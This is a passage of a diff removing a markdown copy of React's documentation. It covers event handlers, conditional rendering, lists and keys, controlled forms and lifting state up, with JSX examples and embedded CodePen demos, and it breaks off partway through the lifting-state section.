-If you aren't using class fields syntax, you can use an [arrow function](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/Arrow_functions ) in the callback:
-  
-```js
-class LoggingButton extends React.Component {
-  handleClick() {
-    console.log('this is:', this);
-  }
-  
-  render() {
-    // This syntax ensures `this` is bound within handleClick    return (      <button onClick={() => this.handleClick()}>        Click me
-      </button>);
-  }
-}
-```
-  
-- The problem with this syntax is that a different callback is created each time the `LoggingButton` renders. In most cases, this is fine. However, if this callback is passed as a prop to lower components, those components might do an extra re-rendering. We generally recommend binding in the constructor or using the class fields syntax, to avoid this sort of performance problem.
-  
----
-  
----
-  
-###  Passing Arguments to Event Handlers
-  
-  
-Inside a loop, it is common to want to pass an extra parameter to an event handler. ##### For example, if `id` is the row ID, either of the following would work:
-  
-`<button onClick={(e) => this.deleteRow(id, e)}>Delete Row</button><button onClick={this.deleteRow.bind(this, id)}>Delete Row</button>`
-  
-The above two lines are equivalent, and use [arrow functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions ) and `[Function.prototype.bind](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_objects/Function/bind> )` respectively.
-  
-> - In both cases, the `e` argument representing the React event will be passed as a second argument after the ID. With an arrow function, we have to pass it explicitly, but with `bind` any further arguments are automatically forwarded.
-  
----
-  
----
-  
-###  **Conditional Rendering**
-  
-  
----
-  
-###  In React, you can create distinct components that encapsulate behavior you need. Then, you can render only some of them, depending on the state of your application.
-  
-  
-Conditional rendering in React works the same way conditions work in JavaScript. Use JavaScript operators like `[if](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if...else> )` or the [conditional operator](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Operators/Conditional_Operator ) to create elements representing the current state, and let React update the UI to match them.
-  
-Consider these two components:
-  
----
-
-```js
-function UserGreeting(props) {
-    return <h1>Welcome back!</h1>;
-}
-
-function GuestGreeting(props) {
-    return <h1>Please sign up.</h1>;
-}
-```
-
-##### We'll create a `Greeting` component that displays either of these components depending on whether a user is logged in:
-
----
-
-```js
-function Greeting(props) {
-    const isLoggedIn = props.isLoggedIn;
-    if (isLoggedIn) {
-        return <UserGreeting />;
-    }
-    return <GuestGreeting />;
-}
-ReactDOM.render(
-    // Try changing to isLoggedIn={true}:
-    <Greeting isLoggedIn={false} />,
-    document.getElementById('root')
-);
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/ZpVxNq?editors=0011"></iframe>
-  
-[**TRY IT ON CODEPEN \_**(pen=**\_mdwyWmJ?editors=0011)**](https://codepen.io/bgoonz/pen/mdwyWmJ?editors=0011 )
-  
-This example renders a different greeting depending on the value of `isLoggedIn` prop.
-  
----
-  
----
-  
-###  Element Variables
-  
-  
-You can use variables to store elements. This can help you conditionally render a part of the component while the rest of the output doesn't change.
-  
-Consider these two new components representing Logout and Login buttons:
-  
----
-
-```js
-function LoginButton(props) {
-    return <button onClick={props.onClick}>Login</button>;
-}
-
-function LogoutButton(props) {
-    return <button onClick={props.onClick}>Logout</button>;
-}
-```
-
-#### In the example below, we will create a [stateful component](https://reactjs.org/docs/state-and-lifecycle.html#adding-local-state-to-a-class) called `LoginControl`.
-
-It will render either `<LoginButton />` or `<LogoutButton />` depending on its current state. It will also render a `<Greeting />` from the previous example:
-
-```js
-class LoginControl extends React.Component {
-    constructor(props) {
-        super(props);
-        this.handleLoginClick = this.handleLoginClick.bind(this);
-        this.handleLogoutClick = this.handleLogoutClick.bind(this);
-        this.state = { isLoggedIn: false };
-    }
-
-    handleLoginClick() {
-        this.setState({ isLoggedIn: true });
-    }
-
-    handleLogoutClick() {
-        this.setState({ isLoggedIn: false });
-    }
-
-    render() {
-        const isLoggedIn = this.state.isLoggedIn;
-        let button;
-        if (isLoggedIn) {
-            button = <LogoutButton onClick={this.handleLogoutClick} />;
-        } else {
-            button = <LoginButton onClick={this.handleLoginClick} />;
-        }
-        return (
-            <div>
-                {' '}
-                <Greeting isLoggedIn={isLoggedIn} /> {button}{' '}
-            </div>
-        );
-    }
-}
-
-ReactDOM.render(<LoginControl />, document.getElementById('root'));
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/QKzAgB?editors=0010)
-  
-While declaring a variable and using an `if` statement is a fine way to conditionally render a component, sometimes you might want to use a shorter syntax. There are a few ways to inline conditions in JSX, explained below.
-  
----
-  
----
-  
-###  Inline If with Logical && Operator
-  
-  
-You may [embed expressions in JSX](https://reactjs.org/docs/introducing-jsx.html#embedding-expressions-in-jsx ) by wrapping them in curly braces. This includes the JavaScript logical `&&` operator. It can be handy for conditionally including an element:
-  
----
-
-```js
-function Mailbox(props) {
-    const unreadMessages = props.unreadMessages;
-    return (
-        <div>
-            {' '}
-            <h1>Hello!</h1> {unreadMessages.length > 0 && <h2> You have {unreadMessages.length} unread messages. </h2>}{' '}
-        </div>
-    );
-}
-
-const messages = ['React', 'Re: React', 'Re:Re: React'];
-ReactDOM.render(<Mailbox unreadMessages={messages} />, document.getElementById('root'));
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/ozJddz?editors=0010"></iframe>
-  
-[**TRY IT ON CODEPEN \_**(pen=**\_VwWYppo?editors=0010)**](https://codepen.io/bgoonz/pen/VwWYppo?editors=0010 )
-  
-It works because in JavaScript, `true && expression` always evaluates to `expression`, and `false && expression` always evaluates to `false`.
-  
-Therefore, if the condition is `true`, the element right after `&&` will appear in the output. If it is `false`, React will ignore and skip it.
-  
-Note that returning a falsy expression will still cause the element after `&&` to be skipped but will return the falsy expression. In the example below, `<div>0</div>` will be returned by the render method.
-  
-```
-render() {
-  const count = 0;  return (
-    <div>      { count && <h1>Messages: {count}</h1>}    </div>);
-}
-```
-  
----
-  
----
-  
-###  Inline If-Else with Conditional Operator
-  
-  
-Another method for conditionally rendering elements inline is to use the JavaScript conditional operator `[condition ? true : false](<https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Operators/Conditional_Operator> )`.
-  
-> - In the example below, we use it to conditionally render a small block of text.
-  
-```
-render() {
-  const isLoggedIn = this.state.isLoggedIn;
-  return (
-    <div>      The user is <b>{isLoggedIn ? 'currently' : 'not'}</b> logged in.    </div>);
-}
-```
-  
-It can also be used for larger expressions although it is less obvious what's going on:
-  
-```js
-render() {
-  const isLoggedIn = this.state.isLoggedIn;
-  return (
-    <div>      {isLoggedIn        ? <LogoutButton onClick={this.handleLogoutClick} />        : <LoginButton onClick={this.handleLoginClick} />      }
-    </div>  );
-}
-```
-  
-Just like in JavaScript, it is up to you to choose an appropriate style based on what you and your team consider more readable. Also remember that whenever conditions become too complex, it might be a good time to [extract a component](https://reactjs.org/docs/components-and-props.html#extracting-components ).
-  
----
-  
----
-  
-###  Preventing Component from Rendering
-  
-  
-> - In rare cases you might want a component to hide itself even though it was rendered by another component. To do this return `null` instead of its render output.
-  
-> - In the example below, the `<WarningBanner />` is rendered depending on the value of the prop called `warn`. If the value of the prop is `false`, then the component does not render:
-  
----
-
-```js
-function WarningBanner(props) {
-    if (!props.warn) {
-        return null;
-    }
-    return <div className="warning"> Warning!</div>;
-}
-
-class Page extends React.Component {
-    constructor(props) {
-        super(props);
-        this.state = { showWarning: true };
-        this.handleToggleClick = this.handleToggleClick.bind(this);
-    }
-
-    handleToggleClick() {
-        this.setState((state) => ({
-            showWarning: !state.showWarning
-        }));
-    }
-
-    render() {
-        return (
-            <div>
-                {' '}
-                <WarningBanner warn={this.state.showWarning} /> <button onClick={this.handleToggleClick}>
-                    {' '}
-                    {this.state.showWarning ? 'Hide' : 'Show'}
-                </button>{' '}
-            </div>
-        );
-    }
-}
-
-ReactDOM.render(<Page />, document.getElementById('root'));
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/Xjoqwm?editors=0010)
-  
-Returning `null` from a component's `render` method does not affect the firing of the component's lifecycle methods. For instance `componentDidUpdate` will still be called.
-  
----
-  
----
-  
-###  **Lists and Keys**
-  
-  
----
-  
-###  First, let's review how you transform lists in JavaScript.
-  
-  
-Given the code below, we use the `[map()](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map> )` function to take an array of `numbers` and double their values. We assign the new array returned by `map()` to the variable `doubled` and log it:
-  
-```js
-const numbers = [1, 2, 3, 4, 5];
-const doubled = numbers.map((number) => number * 2);
-console.log(doubled);
-```
-  
-- This code logs `[2, 4, 6, 8, 10]` to the console.
-  
-> - In React, transforming arrays into lists of [elements](https://reactjs.org/docs/rendering-elements.html ) is nearly identical.
-  
----
-  
----
-  
-###  Rendering Multiple Components
-  
-  
-You can build collections of elements and [include them in JSX](https://reactjs.org/docs/introducing-jsx.html#embedding-expressions-in-jsx ) using curly braces `{}`.
-  
-Below, we loop through the `numbers` array using the JavaScript `[map()](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map> )` function. We return a `<li>` element for each item. Finally, we assign the resulting array of elements to `listItems`:
-  
-```js
-const numbers = [1, 2, 3, 4, 5];
-const listItems = numbers.map((number) => <li>{number}</li>);
-```
-  
-> We include the entire `listItems` array inside a `<ul>` element, and [render it to the DOM](https://reactjs.org/docs/rendering-elements.html#rendering-an-element-into-the-dom ):
-  
-```js
-ReactDOM.render(<ul>{listItems}</ul>, document.getElementById("root"));
-```
-  
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/GjPyQr?editors=0011"></iframe>
-  
-[**TRY IT ON CODEPEN \_**(pen=**\_eYRmvvr?editors=0011)**](https://codepen.io/bgoonz/pen/eYRmvvr?editors=0011 )
-  
-This code displays a bullet list of numbers between 1 and 5.
-  
----
-  
----
-  
-###  Basic List Component
-  
-  
-Usually you would render lists inside a [component](https://reactjs.org/docs/components-and-props.html ).
-  
-#####  We can refactor the previous example into a component that accepts an array of `numbers` and outputs a list of elements.
-  
-  
----
-
-```js
-function NumberList(props) {
-    const numbers = props.numbers;
-    const listItems = numbers.map((number) => <li>{number}</li>);
-    return <ul>{listItems}</ul>;
-}
-
-const numbers = [1, 2, 3, 4, 5];
-ReactDOM.render(<NumberList numbers={numbers} />, document.getElementById('root'));
-```
-
-> When you run this code, you'll be given a warning that a key should be provided for list items. A "key" is a special string attribute you need to include when creating lists of elements. We'll discuss why it's important in the next section.
-
-Let's assign a `key` to our list items inside `numbers.map()` and fix the missing key issue.
-
----
-
-```js
-function NumberList(props) {
-    const numbers = props.numbers;
-    const listItems = numbers.map((number) => <li key={number.toString()}> {number}</li>);
-    return <ul>{listItems}</ul>;
-}
-
-const numbers = [1, 2, 3, 4, 5];
-ReactDOM.render(<NumberList numbers={numbers} />, document.getElementById('root'));
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/jrXYRR?editors=0011"></iframe>
-  
-[**TRY IT ON CODEPEN \_**(pen=**\_yLXyMMP?editors=0011)**](https://codepen.io/bgoonz/pen/yLXyMMP?editors=0011 )
-  
----
-  
----
-  
-###  Keys
-  
-  
-Keys help React identify which items have changed, are added, or are removed. Keys should be given to the elements inside the array to give the elements a stable identity:
-  
-```js
-const numbers = [1, 2, 3, 4, 5];
-const listItems = numbers.map((number) => (
-  <li key={number.toString()}> {number}</li>
-));
-```
-  
-- The best way to pick a key is to use a string that uniquely identifies a list item among its siblings. Most often you would use IDs from your data as keys:
-  
-```js
-const todoItems = todos.map((todo) => <li key={todo.id}> {todo.text}</li>);
-```
-  
-> When you don't have stable IDs for rendered items, you may use the item index as a key as a last resort:
-  
-```js
-const todoItems = todos.map((todo, index) =>
-  // Only do this if items have no stable IDs  <li key={index}>    {todo.text}
-  </li>);
-```
-  
-> We don't recommend using indexes for keys if the order of items may change. This can negatively impact performance and may cause issues with component state. Check out Robin Pokorny's article for an [in-depth explanation on the negative impacts of using an index as a key](https://medium.com/@robinpokorny/index-as-a-key-is-an-anti-pattern-e0349aece318 ). If you choose not to assign an explicit key to list items then React will default to using indexes as keys.
-  
-Here is an [in-depth explanation about why keys are necessary](https://reactjs.org/docs/reconciliation.html#recursing-on-children ) if you're interested in learning more.
-  
----
-  
----
-  
-###  Extracting Components with Keys
-  
-  
-Keys only make sense in the context of the surrounding array.
-  
-#####  For example, if you [extract](https://reactjs.org/docs/components-and-props.html#extracting-components ) a `ListItem` component, you should keep the key on the `<ListItem />` elements in the array rather than on the `<li>` element in the `ListItem` itself.
-  
-  
-**Example: Incorrect Key Usage**
-  
-```
-function ListItem(props) {
-  const value = props.value;
-  return (
-    // Wrong! There is no need to specify the key here:    <li key={value.toString()}>      {value}
-    </li>);
-}
-  
-function NumberList(props) {
-  const numbers = props.numbers;
-  const listItems = numbers.map((number) =>
-    // Wrong! The key should have been specified here:    <ListItem value={number} />  );
-  return (
-    <ul>      {listItems}
-    </ul>);
-}
-  
-const numbers = [1, 2, 3, 4, 5];
-ReactDOM.render(
-  <NumberList numbers={numbers} />,
-  document.getElementById('root')
-);
-```
-  
-**Example: Correct Key Usage**
-  
-```
-function ListItem(props) {
-  // Correct! There is no need to specify the key here:  return <li>{props.value}</li>;}
-  
-function NumberList(props) {
-  const numbers = props.numbers;
-  const listItems = numbers.map((number) =>
-    // Correct! Key should be specified inside the array.    <ListItem key={number.toString()} value={number} />  );
-  return (
-    <ul>      {listItems}
-    </ul>);
-}
-  
-const numbers = [1, 2, 3, 4, 5];
-ReactDOM.render(
-  <NumberList numbers={numbers} />,
-  document.getElementById('root')
-);
-```
-  
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/ZXeOGM?editors=0010)
-  
-A good rule of thumb is that elements inside the `map()` call need keys.
-  
----
-  
----
-  
-###  Keys Must Only Be Unique Among Siblings
-  
-  
-Keys used within arrays should be unique among their siblings. However, they don't need to be globally unique. We can use the same keys when we produce two different arrays:
-  
----
-
-```js
-function Blog(props) {
-    const sidebar = (
-        <ul>
-            {' '}
-            {props.posts.map((post) => (
-                <li key={post.id}> {post.title}</li>
-            ))}
-        </ul>
-    );
-    const content = props.posts.map((post) => (
-        <div key={post.id}>
-            {' '}
-            <h3>{post.title}</h3> <p>{post.content}</p>{' '}
-        </div>
-    ));
-    return (
-        <div>
-            {' '}
-            {sidebar} <hr /> {content}{' '}
-        </div>
-    );
-}
-
-const posts = [
-    { id: 1, title: 'Hello World', content: 'Welcome to learning React!' },
-    { id: 2, title: 'Installation', content: 'You can install React from npm.' }
-];
-ReactDOM.render(<Blog posts={posts} />, document.getElementById('root'));
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/NRZYGN?editors=0010"></iframe>
-  
-[**TRY IT ON CODEPEN \_**(pen=**\_mdwyWWy?editors=0010)**](https://codepen.io/bgoonz/pen/mdwyWWy?editors=0010 )
-  
-Keys serve as a hint to React but they don't get passed to your components. If you need the same value in your component, pass it explicitly as a prop with a different name:
-  
-```js
-const content = posts.map((post) => (
-  <Post key={post.id} id={post.id} title={post.title} />
-));
-```
-  
-> With the example above, the `Post` component can read `props.id`, but not `props.key`.
-  
----
-  
----
-  
-###  Embedding map() in JSX
-  
-  
-> - In the examples above we declared a separate `listItems` variable and included it in JSX:
-  
----
-
-```js
-function NumberList(props) {
-    const numbers = props.numbers;
-    const listItems = numbers.map((number) => <ListItem key={number.toString()} value={number} />);
-    return <ul> {listItems}</ul>;
-}
-```
-
-JSX allows [embedding any expression](https://reactjs.org/docs/introducing-jsx.html#embedding-expressions-in-jsx) in curly braces so we could inline the `map()` result:
-
----
-
-```js
-function NumberList(props) {
-    const numbers = props.numbers;
-    return (
-        <ul>
-            {' '}
-            {numbers.map((number) => (
-                <ListItem key={number.toString()} value={number} />
-            ))}{' '}
-        </ul>
-    );
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/BLvYrB?editors=0010"></iframe>
-  
-[**TRY IT ON CODEPEN \_**(pen=**\_JjJoWEw?editors=0010)**](https://codepen.io/bgoonz/pen/JjJoWEw?editors=0010 )
-  
-Sometimes this results in clearer code, but this style can also be abused. Like in JavaScript, it is up to you to decide whether it is worth extracting a variable for readability. Keep in mind that if the `map()` body is too nested, it might be a good time to [extract a component](https://reactjs.org/docs/components-and-props.html#extracting-components ).
-  
----
-  
----
-  
-###  **Forms**
-  
-  
----
-  
-###  HTML form elements work a bit differently from other DOM elements in React, because form elements naturally keep some internal state. ##### For example, this form in plain HTML accepts a single name:
-  
-  
-```js
-<form>
-  <label>
-    Name:
-    <input type="text" name="name" />
-  </label>
-  <input type="submit" value="Submit" />
-</form>
-```
-  
-- This form has the default HTML form behavior of browsing to a new page when the user submits the form. If you want this behavior in React, it just works. But in most cases, it's convenient to have a JavaScript function that handles the submission of the form and has access to the data that the user entered into the form. The standard way to achieve this is with a technique called "controlled components".
-  
----
-  
----
-  
-###  Controlled Components
-  
-  
-> - In HTML, form elements such as `<input>`, `<textarea>`, and `<select>` typically maintain their own state and update it based on user input. In React, mutable state is typically kept in the state property of components, and only updated with `[setState()](<https://reactjs.org/docs/react-component.html#setstate> )`.
-  
-#####  We can combine the two by making the React state be the "single source of truth". Then the React component that renders a form also controls what happens in that form on subsequent user input. An input form element whose value is controlled by React in this way is called a "controlled component".
-  
-  
-#####  For example, if we want to make the previous example log the name when it is submitted, we can write the form as a controlled component:
-  
-  
-```js
-class NameForm extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = { value: "" };
-    this.handleChange = this.handleChange.bind(this);
-    this.handleSubmit = this.handleSubmit.bind(this);
-  }
-  
-  handleChange(event) {
-    this.setState({ value: event.target.value });
-  }
-  handleSubmit(event) {
-    alert("A name was submitted: " + this.state.value);
-    event.preventDefault();
-  }
-  
-  render() {
-    return (
-      <form onSubmit={this.handleSubmit}>
-        {" "}
-        <label>
-          {" "}
-          Name:
-          <input
-            type="text"
-            value={this.state.value}
-            onChange={this.handleChange}
-          />{" "}
-        </label> <input type="submit" value="Submit" />{" "}
-      </form>
-    );
-  }
-}
-```
-  
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/VmmPgp?editors=0010"></iframe>
-  
-[**TRY IT ON CODEPEN \_**(pen=**\_rNwayjv?editors=0010)**](https://codepen.io/bgoonz/pen/rNwayjv?editors=0010 )
-  
-Since the `value` attribute is set on our form element, the displayed value will always be `this.state.value`, making the React state the source of truth. Since `handleChange` runs on every keystroke to update the React state, the displayed value will update as the user types.
-  
-With a controlled component, the input's value is always driven by the React state. While this means you have to type a bit more code, you can now pass the value to other UI elements too, or reset it from other event handlers.
-  
----
-  
----
-  
-###  The textarea Tag
-  
-  
-> - In HTML, a `<textarea>` element defines its text by its children:
-  
-```js
-<textarea>Hello there, this is some text in a text area</textarea>
-```
-  
-####  In React, a `<textarea>` uses a `value` attribute instead. This way, a form using a `<textarea>` can be written very similarly to a form that uses a single-line input:
-  
-  
-```js
-class EssayForm extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = {
-      value: "Please write an essay about your favorite DOM element.",
-    };
-    this.handleChange = this.handleChange.bind(this);
-    this.handleSubmit = this.handleSubmit.bind(this);
-  }
-  
-  handleChange(event) {
-    this.setState({ value: event.target.value });
-  }
-  handleSubmit(event) {
-    alert("An essay was submitted: " + this.state.value);
-    event.preventDefault();
-  }
-  
-  render() {
-    return (
-      <form onSubmit={this.handleSubmit}>
-        {" "}
-        <label>
-          {" "}
-          Essay:
-          <textarea
-            value={this.state.value}
-            onChange={this.handleChange}
-          />{" "}
-        </label> <input type="submit" value="Submit" />{" "}
-      </form>
-    );
-  }
-}
-```
-  
-Notice that `this.state.value` is initialized in the constructor, so that the text area starts off with some text in it.
-  
----
-  
----
-  
-###  The select Tag
-  
-  
-> - In HTML, `<select>` creates a drop-down list. ##### For example, this HTML creates a drop-down list of flavors:
-  
-`<select><option value="grapefruit">Grapefruit</option><option value="lime">Lime</option><option selected value="coconut">Coconut</option><option value="mango">Mango</option></select>`
-  
-Note that the Coconut option is initially selected, because of the `selected` attribute. React, instead of using this `selected` attribute, uses a `value` attribute on the root `select` tag. This is more convenient in a controlled component because you only need to update it in one place. ##### For example:
-  
-```js
-class FlavorForm extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = { value: "coconut" };
-    this.handleChange = this.handleChange.bind(this);
-    this.handleSubmit = this.handleSubmit.bind(this);
-  }
-  
-  handleChange(event) {
-    this.setState({ value: event.target.value });
-  }
-  handleSubmit(event) {
-    alert("Your favorite flavor is: " + this.state.value);
-    event.preventDefault();
-  }
-  
-  render() {
-    return (
-      <form onSubmit={this.handleSubmit}>
-        {" "}
-        <label>
-          {" "}
-          Pick your favorite flavor:
-          <select value={this.state.value} onChange={this.handleChange}>
-            {" "}
-            <option value="grapefruit">Grapefruit</option> <option value="lime">
-              Lime
-            </option> <option value="coconut">Coconut</option> <option value="mango">
-              Mango
-            </option>{" "}
-          </select>{" "}
-        </label> <input type="submit" value="Submit" />{" "}
-      </form>
-    );
-  }
-}
-```
-  
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/JbbEzX?editors=0010)
-  
-Overall, this makes it so that `<input type="text">`, `<textarea>`, and `<select>` all work very similarly - they all accept a `value` attribute that you can use to implement a controlled component.
-  
-> NoteYou can pass an array into the value attribute, allowing you to select multiple options in a select tag:\<select multiple={true} value={\['B', 'C']}>
-  
----
-  
----
-  
-###  The file input Tag
-  
-  
-> - In HTML, an `<input type="file">` lets the user choose one or more files from their device storage to be uploaded to a server or manipulated by JavaScript via the [File API](https://developer.mozilla.org/en-US/docs/Web/API/File/Using_files_from_web_applications ).
-  
-`<input type="file" />`
-  
-Because its value is read-only, it is an **uncontrolled** component in React. It is discussed together with other uncontrolled components [later in the documentation](https://reactjs.org/docs/uncontrolled-components.html#the-file-input-tag ).
-  
----
-  
----
-  
-###  Handling Multiple Inputs
-  
-  
-When you need to handle multiple controlled `input` elements, you can add a `name` attribute to each element and let the handler function choose what to do based on the value of `event.target.name`.
-  
-#####  For example:
-  
-  
-```js
-class Reservation extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = {
-      isGoing: true,
-      numberOfGuests: 2,
-    };
-  
-    this.handleInputChange = this.handleInputChange.bind(this);
-  }
-  
-  handleInputChange(event) {
-    const target = event.target;
-    const value = target.type === "checkbox" ? target.checked : target.value;
-    const name = target.name;
-    this.setState({
-      [name]: value,
-    });
-  }
-  
-  render() {
-    return (
-      <form>
-        {" "}
-        <label>
-          {" "}
-          Is going:
-          <input
-            name="isGoing"
-            type="checkbox"
-            checked={this.state.isGoing}
-            onChange={this.handleInputChange}
-          />{" "}
-        </label> <br /> <label>
-          {" "}
-          Number of guests:
-          <input
-            name="numberOfGuests"
-            type="number"
-            value={this.state.numberOfGuests}
-            onChange={this.handleInputChange}
-          />{" "}
-        </label>{" "}
-      </form>
-    );
-  }
-}
-```
-  
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/wgedvV?editors=0010)
-  
-Note how we used the ES6 [computed property name](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Operators/Object_initializer#Computed_property_names ) syntax to update the state key corresponding to the given input name:
-  
-```js
-this.setState({
-  [name]: value,
-});
-```
-  
-It is equivalent to this ES5 code:
-  
-```js
-var partialState = {};
-partialState[name] = value;
-this.setState(partialState);
-```
-  
-Also, since `setState()` automatically [merges a partial state into the current state](https://reactjs.org/docs/state-and-lifecycle.html#state-updates-are-merged ), we only needed to call it with the changed parts.
-  
----
-  
----
-  
-###  Controlled Input Null Value
-  
-  
-Specifying the value prop on a [controlled component](https://reactjs.org/docs/forms.html#controlled-components ) prevents the user from changing the input unless you desire so. If you've specified a `value` but the input is still editable, you may have accidentally set `value` to `undefined` or `null`.
-  
-The following code demonstrates this. (The input is locked at first but becomes editable after a short delay.)
-  
-```
-ReactDOM.render(<input value="hi" />, mountNode);
-  
-setTimeout(function() {
-  ReactDOM.render(<input value={null} />, mountNode);
-}, 1000);
-```
-  
----
-  
----
-  
-###  Alternatives to Controlled Components
-  
-  
-It can sometimes be tedious to use controlled components, because you need to write an event handler for every way your data can change and pipe all of the input state through a React component. This can become particularly annoying when you are converting a preexisting codebase to React, or integrating a React application with a non-React library. In these situations, you might want to check out [uncontrolled components](https://reactjs.org/docs/uncontrolled-components.html ), an alternative technique for implementing input forms.
-  
----
-  
----
-  
-###  Fully-Fledged Solutions
-  
-  
-If you're looking for a complete solution including validation, keeping track of the visited fields, and handling form submission, [Formik](https://jaredpalmer.com/formik ) is one of the popular choices. However, it is built on the same principles of controlled components and managing state --- so don't neglect to learn them.
-  
----
-  
----
-  
-###  **Lifting State Up**
-  
-  
----
-  
-###  Often, several components need to reflect the same changing data. We recommend lifting the shared state up to their closest common ancestor. Let's see how this works in action.
-  
-  
-> - In this section, we will create a temperature calculator that calculates whether the water would boil at a given temperature.
-  
-#####  We will start with a component called `BoilingVerdict`. It accepts the `celsius` temperature as a prop, and prints whether it is enough to boil the water:
-  
-  
----
-
-```js
-function BoilingVerdict(props) {
-    if (props.celsius >= 100) {
-        return <p>The water would boil.</p>;
-    }
-    return <p>The water would not boil.</p>;
-}
-```
-
-Next, we will create a component called `Calculator`. It renders an `<input>` that lets you enter the temperature, and keeps its value in `this.state.temperature`.
-
-Additionally, it renders the `BoilingVerdict` for the current input value.
-
-```
-class Calculator extends React.Component {
-  constructor(props) {
-    super(props);
-    this.handleChange = this.handleChange.bind(this);
-    this.state = {temperature: ''};  }
-
-  handleChange(e) {
-    this.setState({temperature: e.target.value});  }
-
-  render() {
-    const temperature = this.state.temperature;    return (
-      <fieldset>        <legend>Enter temperature in Celsius:</legend>        <input          value={temperature}          onChange={this.handleChange} />        <BoilingVerdict          celsius={parseFloat(temperature)} />      </fieldset>);
-  }
-}
-```
-
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/ZXeOBm?editors=0010"></iframe>
-  
-[**TRY IT ON CODEPEN \_**(pen=**\_zYzxZoL?editors=0010)**](https://codepen.io/bgoonz/pen/zYzxZoL?editors=0010 )
-  
----
-  
----
-  
-###  Adding a Second Input
-  
-  
-Our new requirement is that, in addition to a Celsius input, we provide a Fahrenheit input, and they are kept in sync.
-  
-#####  We can start by extracting a `TemperatureInput` component from `Calculator`. We will add a new `scale` prop to it that can either be `"c"` or `"f"`:
-  
-  
-```js
-const scaleNames = { c: "Celsius", f: "Fahrenheit" };
-class TemperatureInput extends React.Component {
-  constructor(props) {
-    super(props);
-    this.handleChange = this.handleChange.bind(this);
-    this.state = { temperature: "" };
-  }
-  
-  handleChange(e) {
-    this.setState({ temperature: e.target.value });
-  }
-  
-  render() {
-    const temperature = this.state.temperature;
-    const scale = this.props.scale;
-    return (
-      <fieldset>
-        {" "}
-        <legend>Enter temperature in {scaleNames[scale]}:</legend> <input
-          value={temperature}
-          onChange={this.handleChange}
-        />{" "}
-      </fieldset>
-    );
-  }
-}
-```
-  
-#####  We can now change the `Calculator` to render two separate temperature inputs:
-  
-  
-```js
-class Calculator extends React.Component {
-  render() {
-    return (
-      <div>
-        {" "}
-        <TemperatureInput scale="c" /> <TemperatureInput scale="f" />{" "}
-      </div>
-    );
-  }
-}
-```
-  
-<iframe frameborder="0" width="100%" height="800px" src="https://codepen.io/gaearon/pen/jGBryx?editors=0010"></iframe>
-  
-[**TRY IT ON CODEPEN \_**(pen=**\_QWgwpGv?editors=0010)**](https://codepen.io/bgoonz/pen/QWgwpGv?editors=0010 )
-  
-#####  We have two inputs now, but when you enter the temperature in one of them, the other doesn't update. This contradicts our requirement: we want to keep them in sync.
-  
-  
-#####  We also can't display the `BoilingVerdict` from `Calculator`. The `Calculator` doesn't know the current temperature because it is hidden inside the `TemperatureInput`.
-  
-  
----
-  
----
-  
-###  Writing Conversion Functions
-  
-  
-First, we will write two functions to convert from Celsius to Fahrenheit and back:
-  
----
-
-```js
-function toCelsius(fahrenheit) {
-    return ((fahrenheit - 32) * 5) / 9;
-}
-
-function toFahrenheit(celsius) {
-    return (celsius * 9) / 5 + 32;
-}
-```
-
--   These two functions convert numbers. We will write another function that takes a string `temperature` and a converter function as arguments and returns a string. We will use it to calculate the value of one input based on the other input.
-
-It returns an empty string on an invalid `temperature`, and it keeps the output rounded to the third decimal place:
-
----
-
-```js
-function tryConvert(temperature, convert) {
-    const input = parseFloat(temperature);
-    if (Number.isNaN(input)) {
-        return '';
-    }
-    const output = convert(input);
-    const rounded = Math.round(output * 1000) / 1000;
-    return rounded.toString();
-}
-```
-
-##### For example, `tryConvert('abc', toCelsius)` returns an empty string, and `tryConvert('10.22', toFahrenheit)` returns `'50.396'`.
-
----
-
----
-
-### Lifting State Up
-
-Currently, both `TemperatureInput` components independently keep their values in the local state:
-
-```js
-class TemperatureInput extends React.Component {
-  constructor(props) {
-    super(props);
-    this.handleChange = this.handleChange.bind(this);
-    this.state = {temperature: ''};  }
-
-  handleChange(e) {
-    this.setState({temperature: e.target.value});  }
-
-  render() {
-    const temperature = this.state.temperature;    // ...
-```
-
-However, we want these two inputs to be in sync with each other. When we update the Celsius input, the Fahrenheit input should reflect the converted temperature, and vice versa.
-
-> -   In React, sharing state is accomplished by moving it up to the closest common ancestor of the components that need it. This is called "lifting state up". We will remove the local state from the `TemperatureInput` and move it into the `Calculator` instead.
-
-If the `Calculator` owns the shared state, it becomes the "source of truth" for the current temperature in both inputs. It can instruct them both to have values that are consistent with each other. Since the props of both `TemperatureInput` components are coming from the same parent `Calculator` component, the two inputs will always be in sync.
-
-Let's see how this works step by step.
-
-First, we will replace `this.state.temperature` with `this.props.temperature` in the `TemperatureInput` component. For now, let's pretend `this.props.temperature` already exists, although we will need to pass it from the `Calculator` in the future:
-
